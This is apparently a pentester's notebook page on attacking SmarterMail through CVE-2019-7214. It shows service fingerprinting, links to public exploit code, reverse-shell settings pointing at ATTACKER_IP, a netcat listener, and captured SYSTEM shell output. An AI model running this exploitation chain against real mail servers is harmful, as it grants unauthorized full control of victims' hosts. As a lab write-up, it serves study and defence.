> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/smartermail.md).

# SmarterMail

SmarterMail can expose an administrative web interface and supporting services on Windows hosts. `CVE-2019-7214` against the .NET Remoting service yielded a shell as `NT AUTHORITY\SYSTEM`.

## Discovery

WhatWeb on the SmarterMail web port may show:

```
http://TARGET:9998 [302 Found] ASP_NET[MVC5.2], Microsoft-IIS[10.0], RedirectLocation[/interface/root], UncommonHeaders[x-aspnetmvc-version]
http://TARGET:9998/interface/root [200 OK] ASP_NET[MVC5.2], HTML5, Microsoft-IIS[10.0], UncommonHeaders[x-aspnetmvc-version]
```

Browse to:

```
http://TARGET:9998
```

Observed page:

```
Welcome to SmarterMail
```

## CVE-2019-7214 RCE

References from the observed path:

```
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/http/smartermail_rce.md
https://github.com/devzspy/CVE-2019-7214
```

The exploit targets SmarterMail deserialization in three endpoints. The working PoC used the exposed `.NET Remoting` service on TCP/17001.

Set the PoC values:

```python
HOST='TARGET'
PORT=17001
LHOST='ATTACKER_IP'
LPORT=80
```

Start a listener:

```bash
nc -nlvp 80
```

Run the exploit:

```bash
python3 cve-2019-7214.py
```

Successful shell:

```
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
whoami
nt authority\system
PS C:\Windows\system32>
```